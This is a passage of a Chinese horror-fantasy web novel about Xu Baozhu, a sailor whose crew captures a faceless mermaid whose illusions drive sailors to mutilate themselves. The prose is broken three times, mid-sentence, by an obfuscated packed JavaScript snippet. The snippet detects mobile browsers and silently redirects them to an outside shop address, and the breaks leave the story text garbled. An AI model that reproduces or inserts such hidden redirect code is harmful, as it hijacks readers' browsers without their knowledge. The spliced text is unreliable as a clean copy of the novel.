只见一条长着人脸的鲮鱼正匍匐在她的脚边,一只手被她抓着,另一只手还拿着刚偷到的芭蕉。 徐宝珠睁大了眸子,惊诧地盯着眼前这个不知道该叫做鱼还是人的生物,她忽然觉得自己攥着它的手也变得恶心起来,但又不敢放手,怕它趁机溜走。 酷似人类的眼珠正悄悄地打量着她,徐宝珠嫌恶地撇过头,发现昨天她剩下的芭蕉几乎都被它偷光了。 徐宝珠想,难道眼前这个就是传说中的鲛人? 她还以为会像影视剧中美人鱼那样呢,不过,想到顾客的死因成谜,她还是忍着恶心松开了手。 她后退几步,离它站得远远的,想着跟它井水不犯河水。 鲮鱼一双大脚哒哒地踩过地面,留下一串水渍,它鬼鬼祟祟地盯着徐宝珠瞧,临走之前,还是把剩下的芭蕉带走了。 盯着人脸鱼身的怪物消失在芭蕉树之后,她才稍稍松了口气。 她平复着剧烈跳动的胸腔,望着怪物离开的方向思考,难道芭蕉树后面有出去的路? 她抬头确认了下已经泛起鱼肚白的天空,想着自己不能再干等下去了,都过了一天,马修他们还没找到自己,万一他们放弃自己了怎么办? 她做了决定,转身回到石壁前把火灭掉,带着自己的布袋和尖刀,准备跟着鲮鱼的方向寻找出路。 临走之前,徐宝珠暗自忖度,要是刚才碰见的怪物就是传说中的鲛人,那它守护的宝藏应该就在附近。 她望着几步外的水潭,难道…… 水潭经过一夜的寒气熏陶,潭面已经起了一层薄薄的白雾。 徐宝珠摇摇头,丢掉那些不实际的想法,她转身正准备离开,脚边突然凭空伸出一条腿,正好挡在她前面。 徐宝珠没注意,一下子被绊倒,整个人都朝着地上扑过去,她连忙伸出胳膊撑地,谁承想一旁忽然有人大力地推了她一下,目标明确地把她推进一旁深不见底的潭里。 “扑通!” 水面被划开的瞬间,冰冷刺骨的潭水瞬间侵透徐宝珠的骨头,她看见潭面倒映出一张奸笑着可恶又熟悉的脸。 是那条鲮鱼! 为什么……她明明没有得罪它? 跌入深渊的时候,徐宝珠脑子里不断回想着这句话。 她睁着眼睛,无力地望着泛着水纹的潭面,伸手想抓着身边的东西,然而潭底幽蓝一片,她视野有限,根本分不清什么是什么,指尖掠过滑滑的绿藻,却根本抓不住,只能眼看着自己往下坠。 潭水迅速地涌进她的口鼻,随即堵塞住呼吸,眼珠也开始布满红血丝。 徐宝珠耳朵里满是水里小泡的咕嘟声,忽然,水纹声里传来了一缕悦耳的歌声,那道声音越来越近,直到…… 一道灵活的身影在她上方静静地漂浮着,海藻般柔顺的长发掠过她的面容,徐宝珠看不清它的长相,只看见了它修长美丽的鱼尾,在潭里游刃有余地摆动,划开水,又带来一阵波澜。 这才是鲛人! 徐宝珠肯定的念头一闪而过,她不明白它的意思,是要救她还是路过? 鲛人只停留了十来秒,随即像是受到惊吓般急剧地摆动鱼尾游走。 徐宝珠看着它远去的背影,想伸手助阻拦,却根本发不出声音。 潭底深蓝沉寂,就连一条鱼也没看见,她躺在绿藻泥里,感受着又咸又腥的海水逐渐漫布口腔,气管…… 气管里的异物感使她不断想要咳嗽,但张嘴只会吸进更多的海水,她的眼睛也开始传来火辣辣的刺痛,徐宝珠下意识地想要闭眼。 “不要睡。” 然而这时,一道空灵的男声突然从水里传来,幽幽地传进她的耳里。 紧接着,一双湿冷的手臂从背后托起自己,那个人浑身冰冷地靠着她,平静幽远的声音再一次响起。 “徐宝珠,不准闭眼!” 徐宝珠吓得一颤,连忙睁开眼睛,她低头盯着腰间那双手上的紫光檀戒,瞬间放下戒备。 周槐引,他来了。 “咳……咳咳!” 随着平静的潭面掀起一阵波澜,徐宝珠从潭里浮上来。 她身体疲软地靠着岸边,手臂撑着身体不住地咳嗽,她凌乱的头发散开,发丝还在往下滴水,渐渐,周围的地上都是潭水的痕迹。 她疯狂地咳嗽,嗓子里的痒意和腥味才缓解不少。 周围有脚步声走过,徐宝珠下意识地以为是周槐引,她刚想出声喊住,就被一道急匆匆的男声打断。 “还活着吗?”德林蹲下来,眼神含着几分焦急。 她愣住了,德林浑身湿漉漉地蹲在她跟前,她抬头才发现周围还有几个水手,连大副也在这里。 徐宝珠在人群里找了找,没发现周槐引的身影,她又扒开德林的衣袖,他的手指干干净净,没有任何饰品。 徐宝珠目光一瞬间黯淡下来,不是他。 “是你救的我?”她声音干涩,带着几分无力。 德林刚想说话,大副就走过来抢先开口,他站在离水潭不远的地方,目光沉沉地掠过潭面,才看向他们。 “这方潭很奇怪,你在潭底有没有看见什么?”他问徐宝珠。 徐宝珠浑身一顿,鲛人的身影在她脑海中一闪而过。 她咬着唇,没开口。 大副目光往下,见她低着脑袋没说话,以为她还没从惊吓当中缓过神,于是又问了一遍。 “没……”徐宝珠眸底闪过一丝异样,她缓缓地摇头,语气逐渐坚定。 “潭底什么都没有。” 她缓缓攥紧岸边的苔藓,她绝不能,绝不能暴露这里有危险的非人类生物。 大副眼中掠过一丝失望,他左右看了看,叫人在旁边把火升起来,然后给马修他们发射信号。 德林把她扶到刚生起来的火堆旁烤火,她看着德林把衣服脱下来拧干水,然后支着木棍在火旁烤干。 “谢谢。”徐宝珠撇开眼,轻声道。 “别在意。”德林拿出一根木棍在火堆地搅了搅,让火烧得更旺,他不甚在意地说:“其实我们都听见了昨晚这里的枪声,只不过当时天色太晚,必须要回到岸边,所以现在才来。” 徐宝珠敛眸,对于她出现幻觉这件事感到难过,她还以为周槐引终于来了。 大副和几个水手把水潭围住,他们围着水潭嘀嘀咕咕地在说话,不时地指着潭水,又不时地回头看她。 徐宝珠拢紧别人给的外套,问德林,“你们怎么找过来的?” 德林瞧她一眼,刀尖指向她身后,“这里就有出口。” 徐宝珠顺势回头,发现芭蕉树已经被连根砍倒,碧绿的叶片倒在地上,上面留着许多污黑的脚印。 视线再往外,芭蕉树后面是一片茂密的树林,树林底下长满了人高的草丛,也被人为地砍出一条路来。 徐宝珠不由自主地站起来,朝着芭蕉树走过去,她眉心凝重地盯着后面的树林,伸手在空中摸了摸,这里……不是一块石壁吗? 昨天她砍芭蕉叶的时候,清楚地记得这里就是一块长满藤蔓的石壁,她还借着石壁的支撑才爬上芭蕉树砍到一串芭蕉。 即使是今早落水前看见的那只怪物,也只是藏在芭蕉树底下,做出消失的假象迷惑她,并没有真正地从这里离开。 难道又是幻觉? 她盯着自己的手心发愣,周槐引是幻觉,石壁也是幻觉,倒底什么才是真的? 鲛人也是她的幻觉吗? 他们在潭边休整了一会,吃过饭后,徐宝珠见大家都没有要动的意思,她疑惑地问德林,“我们不走吗?” 德林正靠着石壁小憩,闻言,他只睁了一只眼,斜眼瞥她,“都已经找到了鲛人潭,当然要等船长过来。” “鲛人潭?!”她惊诧道。 原来这方潭还有名字?! 马修过来后打算怎么办?下去潭里吗? 可是她刚才在里面根本没有看见他们所说的宝藏,连任何会发光的东西都没见着,这里真的不像藏着宝藏的样子。 徐宝珠揣着惴惴不安的心,坐在火堆旁等着。 大概过了半个小时,马修和水手长两只小队一起过来了。 熙熙攘攘的一群人走进来,把原本就不大的地方挤得水泄不通。 徐宝珠看了一眼这堆人,在其中没看见她昨天搭话的小伙,她问马修,“船长,艾登呢?” 她的声音不大,但话一说完,原本还在说话的人们突兀地安静了下来,大伙都眼神奇怪地看着她。 “艾登……死了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526659|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”水手长沉默了一会,抓下帽子放在手里紧张地揉搓。 徐宝珠诧异地盯着他,“为什么?” “因为昨天碰见的那只巨猿,大家分散着逃跑时,艾登运气不好,崴了脚被它追上了。”马修长叹一口气,解释道。 什么?! 徐宝珠因为震惊失声,一想到昨天还是鲜活的生命,今天却失去了气息,悲凉情绪就渐渐涌上心头。 马修过来后,就一直围着潭边,他拿着地图在潭边嘀咕半天,又转过头来问徐宝珠同样的问题。 “你刚才真没看见什么东西?比如珠宝?金条?” 马修眼里满是兴奋,仿佛只要徐宝珠点头说有,他马上就敢跳进去捞。 然而徐宝珠咬着牙,还是矢口否认潭底有宝藏,“船长,里面什么都没有,传说本来就是假的。” 马修听完后,面容沉寂地盯着她,似乎在确认她有没有说谎。 他沉沉的目光看向一旁的德林,“你下去时,潭有多深?” 德林摸了摸鼻尖,估摸着,“大概十米。” 众所周知德林水性好,经常下海,所以德林的话很有参考价值。 “十米。”马修把这话在嘴边碾过,再次抬头时,眼底已经是狠决的意味。 他眉眼坚定,决绝的眼神扫了一遍在场的水手,厉声道:“有谁水性好,愿意下潭里找宝藏的?” 鲛人潭幽深冰冷,潭水泛黑,光是站在边上都感觉寒气侵骨,更别提下去了。 大伙互相看来看去,推推搡搡地都不肯站出来。 马修看出来他们的退缩之意,他思索了片刻,咬着牙加码,“要是谁下去找到了宝藏,到时候他比别人多分两根金条!” 这话一出,先前还有退缩之意的水手们脸上露出跃跃欲试,他们搓着手确认了一遍马修的话真假。 马修抱着胳膊,大声立誓道:“要是我所说的话为假,就让我永远沉睡在波莫尼大海。” 他说完话,周围顿时一片哗然。 要知道,对一个船长来说,船只沉入海底是最严厉,最恶毒的诅咒,但马修居然毫不避讳地拿这个发誓,这样一来,大家就更相信他说的话。 “我来!” “我来!” 水手们纷纷自告奋勇地要下潭,马修看着这一幕,眼底的欣慰跃然于脸上。 徐宝珠呆坐在燃尽的碳灰堆前,看着被选中的水手兴高采烈地穿戴护具准备下水,她心思浮浮沉沉,复杂难辨。 反正底下没有宝藏,这群人下去也是无功而返,但是,他们会不会撞见鲛人,她也无法预料。 德林坐在她旁边没动,徐宝珠瞧了他一眼,疑惑道:“你水性这么好,不去?” 德林拨弄着火堆,无所谓地道:“你不是说底下没有宝藏吗?” 她惊讶地开口,“你相信我?” 德林挑眉,“别把自己想得很重要,徐,我只是不相信这个传说。” “可你还是上船了,而且,我们也找到了传说中的鲛人岛,甚至还发现了鲛人潭不是吗?”徐宝珠拆穿他的谎言。 “我会上船,只是因为最近太无聊,听说马修在招船员,抱着玩玩的心态来的。”他嘴里衔草,把头靠着石壁,望着天空说道。 “好吧。”徐宝珠撇嘴,懒得跟他纠结下去。 她收回目光,把所有注意力都集中到准备下潭的水手身上。 三个水手身上绑着粗麻绳,踩在岸边,岸上有人帮他们扯着麻绳,到时间没上来就拉着他们回来。 大副拿着怀表对时间,等到整点的时候才开口让他们下去。 三个水手扑通一声跳入水里,他们猛吸一口气,然后捏着鼻子往下沉,潭面冒出细密的小泡,没一会就恢复了平静。 岸上的人也都安静地等待三人的消息。 但徐宝珠还是没能等到几人上来的时候,因为她发高烧了。 早晨在潭底泡了十来分钟,出来后即使在火堆边上烤了火,但她还是感觉脑袋越来越重,视线也逐渐变得模糊不清。 快要晕倒前,她听见水手长在跟马修说想先送她回船上。 马修远远地回头看了她一眼,嘴巴张了张,徐宝珠还没听清他的话,就感觉眼前一黑,身体直直地倒在地上。 8. 惊悚的甲板 再次醒来的时候已经是傍晚时分。 她从狭窄的木箱床里起来,因为剧烈的动作,眼前瞬间黑了一秒,徐宝珠连忙捂着额头,扶着墙壁起身。 她摸着身上新换的干净衣裳,抬头发现她在窗边晾着的衣服已经换成了原来身上穿着的那身。 是谁这么好心? 船舱出奇的安静,徐宝珠走了一圈也没见到人影,就连底下的甲板也没有人,最后,她拖着疲惫的身体踏上了上层甲板。 与底下两层的寂静截然相反,船内所以没上岛的船员几乎都跑到了上层甲板,他们欢呼着趴在船头的栏杆上,冲着岸边的人招手。 徐宝珠迈着乏力的双腿走过去,透过人群间的缝隙,她看见马修他们正抬着什么东西站在岸边打算上船。 “让让!让让!”她拨开人堆,挤到了最前面。 停船的地方靠近海岸,海边起着白花花像泡沫一样的海沫,层层叠叠卷起的海沫被海浪推着涌到岸上。 马修和大副走在最前面,他们的脸上复杂难辨,失落中夹杂着几分喜悦。 马修上船后,在船头抖掉腿上挂着的白色海沫,冲底下的人招手。 船上的人纷纷把好奇的眼神投向抬着玻璃箱上船的几人身上。 随着透明玻璃箱子逐渐展露在众人面前,大家纷纷屏住了呼吸,不错眼地盯着玻璃箱里游动着的生物。 三米长的透明玻璃箱里装着一只蜷缩在里面的鲛人,它双臂交叉抱着自己,把脑袋隐藏在海藻般的深蓝色长发当中,一条碧蓝色,鳞片泛着粼光的大鱼尾蔫蔫地垂在箱底,两条浅色鱼鳍紧紧裹着鱼尾。 鲛人静静地蜷缩在狭窄的玻璃箱里,船上的人一时之间都看傻眼了,不敢相信眼前这只生物真的是传说当中的鲛人。 有船员揉了揉眼睛,对着马修问:“船长,这……这是鲛人?!” 马修脸上的得意浮现出来,他拍了拍玻璃箱,巨大的声响震得箱子里面的海水晃动,鲛人也跟着海水上下起伏。 “这是我们在鲛人潭抓到的鲛人,带回去拍卖指定能卖个好价钱。”马修眼里的精明一闪而过。 “鲛人都找到了,宝藏在哪?”徐宝珠突然朗声开口。 “对啊,不是说鲛人守护着价值连城的宝藏吗?” “怎么只有鲛人……” “怎么大家都空着手回来的……” 有了她带头,船上剩下的船员这才注意到了不对劲,除了最开始抬回来的这个箱子之外,剩下的水手们都是空着手回来的,听见他们发出疑惑,回来的水手都沉默着没开口。 水手长因为送她回来,也不知道到底发生了什么事,他疑惑地走上前,试探着问大副,“没有宝藏?” 大副重重地叹了口气,他拍了拍水手长的肩膀,丧气地跟船员们说道:“很抱歉,我们派了近十个人下潭,也没有看见任何黄金,别说黄金,就连珠宝首饰都没见到。” 徐宝珠走到玻璃箱前,她静静地盯着鲛人,鲛人埋着脑袋看不清容貌,但是直觉告诉她,这就是早上她在潭底看见的那只。 她视线往下,发现玻璃底还带着一层十厘米厚的泥土,应该是为了让鲛人能尽快适应玻璃箱而特意挖的一层。 大副说完话,船上顿时陷入一片寂静当中。 这艘船原本打的就是寻宝藏的旗帜,船员们也都是听说能找到宝藏才愿意跟着来的,而现在,好不容易找到了传说当中的鲛人岛,大副却告诉他们,岛上根本没有宝藏。 这种先给了希望,然后又亲手灭掉的打击远比一开始就没有希望要痛苦。 “骗子!” “他们肯定是私吞了!” “都找到鲛人了?怎么可能没有宝藏?!” 一时之间,剩下的船员们突然暴动起来,他们觉得肯定是这群水手私吞了宝藏,但又怕留在船上的船员们起疑心,所以才抓了鲛人骗他们。 被怒火吞噬了的船员抄起手边的东西,狠狠地往水手们身上丢,扳手,汤勺,望远镜…… 刚上船的水手们还没反应过来,突如其来地就被砸了一顿,反应过来后连忙狼狈地找东西挡。 马修站在船头,倒是没人敢往他身上丢东西,他目光阴沉地看着骚动的甲板,大家自动分成两派,船上的东西被扔了一地,甲板上凌乱不堪。 “够了……” 马修嗓音低沉地制止,见大家根本不听他的话,他才真的怒气冲冲地又大吼了一声。 “我说够了!” 这下大家倒是安静下来了,不过不是因为马修,而是……玻璃箱里的鲛人突然抬头,露出了一张绝美的脸庞。 夕阳淹没了鲛人半张侧脸,轮廓分明的脸庞披着一层淡淡的金色烟雾,一双淡色的碧绿眼珠如同珠玉般不谙世事地望着船员们,鲛人姿容胜雪,神态高洁,叫人一看便知是超脱世俗的圣洁物种。 它只微微仰起半张脸,便叫人心驰神往,迷了心神。 它淡漠圣洁的眼神落到谁身上,谁就会从心底陡然生出一股献祭的冲动,忍不住掏出所有奉献给它。 当它的视线落到离它最近的徐宝珠身上时,徐宝珠顿时屏住了呼吸,生怕会贸然吓到这只懵懂无知的鲛人,她现在才知道为什么鲛人会有美人鱼的称呼。 鲛人视线往下,定定地落到她的手上,它伸出手靠在玻璃上,五指在玻璃上留下水痕,它曲着手指,指着她的手,嘴唇微张,似乎有话想说。 徐宝珠听不见它的声音,于是俯身靠近了玻璃,她目光专注地盯着它的唇,浅红色的薄唇微张,她忽然读懂了它的唇语。 “把你的手给我。” “好。”她听见自己的声音在回应它。 徐宝珠下意识地找刀,她呆滞的眼神在地上寻找着刀,但是刚才打架时丢了一地的刀突然不见了,她翻遍了地上的杂物,也只找到了几把勺子。 徐宝珠起身忿忿地丢掉勺子,这个汤勺这么钝,根本不能利索地切下她的手。 她在甲板上转来转去地找东西,有时还会不小心踩到地上软软的东西,她趔趄了下,脑子缓慢地想,是谁的腌鱼掉在地上了! 找了一圈无果后,徐宝珠脑袋迟缓地想起来,她的腰间好像就别着一把刀。 徐宝珠嘴角上扬,兴高采烈地取下尖刀,她把衣袖捋上去,露出洁白纤细的手腕。 她握着把手,刀尖在手腕上比划着,从哪里切会比较完整,终于,她找好了位置。 徐宝珠左手握拳,把手臂放在眼前,右手握着把手,尖锐的一侧对准手腕,她咧嘴一笑,随即毫不犹豫地往下砍。 “哐当!” 刀尖砍下去时,没有听见她预想里的噗哧噗哧的割肉声,哐当的响声反而像是砍到了一块铁上。 徐宝珠定睛一看,手臂上面凭空伸出来一个铁盘,她的刀正砍在上面,因为使得力气大,盘上被砍出了凹痕。 “清醒点。” 熟悉的男声再度在身旁响起,随后,一双冰冷苍白的手有力地握住她握着刀的手腕,稍微一使劲,她就虎口一痛下意识地松了手。 弯刀掉在地上往回弹了两下,她连忙后退闪开。 徐宝珠这才恍然惊醒,她望着地上的刀一阵后怕,她刚才居然想砍掉自己的手! 要不是周槐引,她现在恐怕就血流成河了。 等等……周槐引? 徐宝珠转过身,果不其然看见了熟悉的人,周槐引站在她身后,一只手负在背后,一只手丢掉铁盘。 见她看着自己欣喜的样子,他脸色不变,沉稳地垂下眼,“我不过晚来几日,你就把自己弄成这副模样?” 徐宝珠脸上的笑容一顿,她低头打量了眼自己,除了穿得简陋了些,其他的……还好吧? 不过现在不是说这个的时候,徐宝珠脸色一沉,她心有余悸地盯着自己的手腕,问:“我刚才是中了幻术吗?” “对。” 周槐引点头,示意她转身。 徐宝珠不明所以地转过身,紧接着她呼吸一滞,瞳孔被铺天盖地的红色侵袭,见证了她此生最难以忘怀的一幕。 老旧的盖伦船甲板上,几乎五分之一的船员都在拿着刀砍自己的身体部位,有的已经砍掉了整条腿,有的剁掉了自己的手指,有的剜掉了自己的眼珠,整个甲板血流成河。 但诡异的是,这群人脸上都带着献祭般满足的笑。 徐宝珠看着离她不远处横躺着的大腿,一想到她刚才还踩了好几脚,立马从胸腔涌起一股反胃,她连忙捂住嘴跑到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526660|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栏杆边上对着大海干呕。 甲板上剩下没中幻术的船员们,有的连忙躲起来,像看疯子一样看着这些拔刀往自己身上砍的水手,有的则是上前劝阻,却被已经癫狂的水手划了一刀,呲牙咧嘴地捂着伤口。 这群人像是不知道痛觉似的,疯狂地割掉自己的身体部分,甚至他们还把砍下来的身体献宝似地举到鲛人面前,祈求它收下。 “疯了疯了!”乔琳左躲右闪,一路沿着船边跑,她嘴里嘀咕着,脚下慌不择路地逃进下面。 徐宝珠撑着栏杆,呕了半天才觉得胃里好受一点,她偏过头,见马修和大副都在阻拦中了幻术的船员。 她的目光看向站在甲板中央,一身黑衣,屹然不动的周槐引,突然好奇他不觉得恶心吗? 不过她也没时间思考这个了,徐宝珠余光瞥见船头角落里,取下煤油灯灯盖,然后把手臂伸进去打算烫伤自己的德林,她目光一变,连忙跑过去。 “德林!”她拉着德林的手,大声喊着他的名字,希望能让他清醒一点。 然而德林的目光却始终专注地盯着灯罩里面的火光,眼神虔诚。 “你清醒一点!” 终于,在德林再次试图把手伸到火焰上时,徐宝珠气急败坏地打了他一巴掌,吼着道。 德林呆滞的眼神终于渐渐恢复正常,他迷茫的眼神望着自己的举动,“我……我这是怎么了?” “我们都中了鲛人的幻术!”徐宝珠站在船头,语气沉沉。 她再次看向鲛人时,眼神狠厉,这只鲛人根本不是她刚才迷惑时看见的绝美容颜,而是一张无脸怪。 没错,所谓的美人鱼根本就是假的,这只鲛人抬起头来时,只有一张人脸的轮廓,而没有五官,是一只灰白的无脸鱼! 它的幻术,在它抬起脸的那一刻就施展开了,绝美容颜根本就是他们的幻觉。 见自己的幻术被识破了,它似有所感般把脸转向徐宝珠,静静地望着她。 被一张没有五官的脸盯着,徐宝珠实在是瘆得慌,她搓了搓手臂,起身离开它的视线。 这时候的甲板逐渐安静下来,大家基本都恢复了正常。 船员们望着自己满身的血迹,有的被迟来的痛觉疼到昏死过去,有的则是呆滞地盯着伤口,有的则是横死在甲板上没了气息,甲板上一片死寂。 周槐引目光掠过甲板的惨状,径直找到马修,他走过去,对着坐在地上休息的马修说:“你看见了他们疯狂的样子,还打算把鲛人运回去吗?” 马修阻拦了好几个人,此时正筋疲力尽地瘫在地上休息,听见周槐引的话,他震惊地睁大了眼。 “周,你还活着?!” 听见他的声音,大副和水手长看了过来,也是同样的惊讶,大副脸上浮现出一抹难以置信,他猛地攥紧周槐引的手,声音发紧,“你居然挺过来了?!” 徐宝珠眼神疑惑地盯着两人的反应,她再盯着周槐引的背影,忽然觉得有些眼熟,到底在哪里见过呢? 她想起来了! 这不就是前些天她在助理门口偷窥时,躺在床上快死的那人吗! 原来周槐引要凭借助理快死掉的契机,才能找到这里来。 周槐引脸上并没有因为他们的欣喜而有丝毫波动,他一双眼无波无澜地盯着马修,重复道:“你真的要把这只鲛人运回去吗?” 马修脸上的笑容一顿,他满脸疑惑地看着周槐引,“为什么不?这可是全世界发现的第一只鲛人。” “可是它会操控幻术,它会杀了我们所有人!”徐宝珠忍不住语气严峻地追问。 马修更是摸不准她说的话,他同大副对视一眼,两人的眼里都是同样的迷茫,“什么幻术?” “这些人不都是打架受的伤?” 徐宝珠后背一阵发冷,她试探地指着甲板上没了气息的船员,“那乌卡斯呢?” 马修朝着她手指的方向望过去,满脸的迷茫不似作假,“谁是乌卡斯?我们船上根本没有叫乌卡斯的人,而且,你为什么要指着一团空气?” 徐宝珠双目陡然瞪大,她诧异地发现,乌卡斯的尸体居然真的在她眼皮底下消失了! 她手指一阵瑟缩,悻悻地缩回,面色凝重地盯着空荡的甲板。 9. 昼夜颠倒 船只无声地航行在深夜的波莫尼大海之上。 徐宝珠躺在床上,想起白天的那一幕,翻来覆去地睡不着。 昨晚,她问了包括德林,乔琳和贝妮塔在内的十来名船员,几乎所有人都异口同声地说,船上这些人都是因为互殴导致的受伤。 关于死去的五个人,他们则是满脸疑惑地回答,船上没有这五个人。 想到这,徐宝珠就觉得脖颈处传来一阵阵阴风,她不由得把被子往上提了提,盖住脖子,防止风漏进来。 一直到后半夜,她才迷迷糊糊地睡着。 夜里的海风呼啸而过,吹得整座船舱都有风的回声。 夹杂在风声里的,还有几丝异响,像是用长指甲在挠船板的声音,刺耳又难听,徐宝珠在睡梦中拧眉,她闭着眼翻身,声音停了两秒。 等她再次熟睡后,怪声再度响起,从甲板上,走廊,舱门,最后停在耳边。 第二天,海面无风无浪,徐宝珠便被水手长安排去收帆。 虽然已经不是第一次上桅杆了,但她还是哆哆嗦嗦地磨蹭了一个小时才完成。 从桅杆上下来的时候,她重获新生般瘫在杆旁歇气。 她眼神哀怨地望着站在船头,听马修和大副商量航行方向的周槐引,不甘心地捶打着大腿,凭什么她是普通的水手,周槐引却是船长助理?! 也许是她的眼神太过热切,船头身形挺拔的男人忽然回头朝她这边看来,得到一个鬼脸后,周槐引轻轻颔首,又转过头了。 翻完白眼后,徐宝珠悻悻地松开抵在眼睑的手指,虽然周槐引现在有了一对幽深的眼珠,但这对眼珠不眨时,盯着人瞧十分瘆人。 她盯着周槐引垂在后背束着的长发暗自腹诽,在他们那个年代,男人留长发不会很奇怪吗? 还来不及等她细想,惊奇的一幕就发生了。 原本明亮的天空忽然急剧地褪去白色,陡然一转,像是一只无形当中的大手抓走白色,换成了无尽的黑夜。 徐宝珠只觉得视野逐渐变得模糊起来,还不等她反应,眼前瞬间陷入一片黑暗里。 “怎么回事?!” “天怎么黑了?!” 船上到处都发出了惊讶的声音,随后,几缕微弱的亮光在船舱各部位缓缓亮起。 “不对劲。”周槐引手提着一盏煤油灯,走到她旁边,眉心紧拧地望着骤然变黑的天空。 “天狗食月?”徐宝珠立马想到了学过的知识。 周槐引薄唇紧抿,“现在离八月十五还有两个月,不可能是月食。” 这样一说,徐宝珠瞬间揪着心,她目光担忧地望着无边无际的黑夜,他们处在恐怖故事里,这样的异象可不是好兆头。 突然变黑的天空,让船员所有事都做不了,黑夜里,就连航行的方向也难以辨认,无奈之下,马修只得下令暂时停船抛锚。 徐宝珠独自拖着船锚来到了船头,小腿粗的锚链在甲板上发出沉重的拖声。 确定好下锚点后,她站在船头,一鼓作气把船锚扔进海里,因为锚头的重量,锚链飞快地往下坠落,不一会就听见锚头入水的声音。 她松手后,就连忙闪到一旁,生怕自己被锚链勾着带下船。 做完这一切,徐宝珠就打算回船舱,离开前,她站在船头偶然朝海面瞥了一眼,头忽然顿住。 波光粼粼的海面上,好像游过去一个脑袋? 徐宝珠诧异地趴在栏杆边,把脑袋伸出去,目不转睛地盯着幽深黑暗的大海,她盯了快三分钟,海面风平浪静。 “眼花了吗?” 徐宝珠疑惑地收回脑袋,她揉了揉眼,猜想难道是自己太累了出现的幻觉? 回到二层甲板时,徐宝珠本来打算先去找周槐引,然而乔琳却堵在船舱门口不让她离开。 徐宝珠不想跟她打交道,这人完全是嫉妒顾客,所以才处处针对她。 但乔琳的坏只存在表面,也不会真的伤害她,所以顾客的死一定和她没关系,徐宝珠也就懒得跟她纠缠。 “干什么!”徐宝珠靠着船舱,语气不是很好。 “你去给鲛人送吃的!”乔琳用汤勺狠狠地敲在木桶盖上,理直气壮地指使她。 徐宝珠目光淡淡地掠过地上满满一木桶新鲜的海鲜,她冷笑,“这不是你们厨娘的任务吗?” 她嘴唇轻碰,用前些天乔琳自嘲的话讥讽回去。 “你!” 乔琳气得牙痒痒,她刚想回骂,忽然想到什么,脸上露出笑容,只见乔琳从怀里掏出一块青白色的玉佩,她放在手心,得意洋洋地盯着徐宝珠。 “要是你不答应,这块玉佩就归我了!” 徐宝珠从看见玉佩的那刻起眼神就变了,难怪昨天她怎么也找不到这块玉佩,现在看来,是乔琳借着换衣服的机会偷走了。 “还给我……”徐宝珠伸手去抢,然而乔琳早有准备,她飞快地把玉佩收回去,用眼神示意她先送完食物。 “你等着。”徐宝珠恨恨地瞪了她一眼,不情不愿地弯腰提着木桶下甲板。 关着鲛人的玻璃箱被放在了底层甲板最里面的船舱,玻璃箱旁边是堆积的船内杂物。 这里常年没人来,所以煤油灯里的油瓶只剩薄薄一层也没有人换,徐宝珠点燃灯芯后,淡黄的灯光只能勉强照亮附近半米左右的距离。 她取下挂着的煤油灯,提着放到了玻璃箱前。 见有人来,玻璃箱里的水声晃动,闪着粼光的美丽鱼尾在水箱里一闪而过,随即,一双美丽修长的手突然出现,轻轻贴在玻璃上。 徐宝珠闷着脑袋,尽量不去看鲛人,即便是感觉到它在黑暗中望着自己,她也告诫自己不准抬头。 今早,周槐引告诉过她,在传说当中,鲛人一般都具有迷幻人心的能力,意志不坚定的人千万不能靠近。 所以,要不是乔琳拿着玉佩威胁,她是绝对不会到这里来的。 徐宝珠站在垫脚的凳子上,她掀开玻璃箱顶上的木盖,露出一个拳头大小的圆形缝隙,这是专门凿出来喂食的地方。 她低着眼,用小臂长的大夹子将鱼从桶里夹起来,然后从孔里扔进去,留的孔太小,所以每次喂食,都必须一样样地扔进去,也就要在这里待很久。 难怪乔琳不愿意来,徐宝珠刚来这一会,就觉得寒气逼人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526661|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 很奇怪,不管是昨天在鲛人潭里,还是傍晚被关在玻璃箱里的鲛人,都是安静且祥和的,但她就是莫名的害怕,这种害怕,是一股从心底涌出来的畏惧。 桶里只剩下最后一只章鱼,徐宝珠悬着的心终于松了几分,她眉眼松懈地夹着章鱼准备投喂。 她把章鱼放到圆孔上,刚醒松手,然而这只章鱼还活着,顽强地用触手扒着夹子不肯松,八只腕足一起使劲,硬生生地缠着夹子不松手。 徐宝珠使了双倍的劲儿也掰不过它,她刚松口气的功夫,就叫章鱼得了逞,连带着把她的夹子也勾到了水箱里。 “扑通!” 徐宝珠下意识地伸手进水箱里捞,然而夹子早就不知所踪,她只摸到了一汪水。 算了,一只夹子丢了就丢了。 她这样安慰自己,于是打算抽手,谁料下一秒,一双冰冷刺骨的手猛地抓住她的手,冰凉的手指缓缓拂过她纤细薄薄的手腕。 徐宝珠整个人都僵住了,她试探地往外抽手,没抽动。 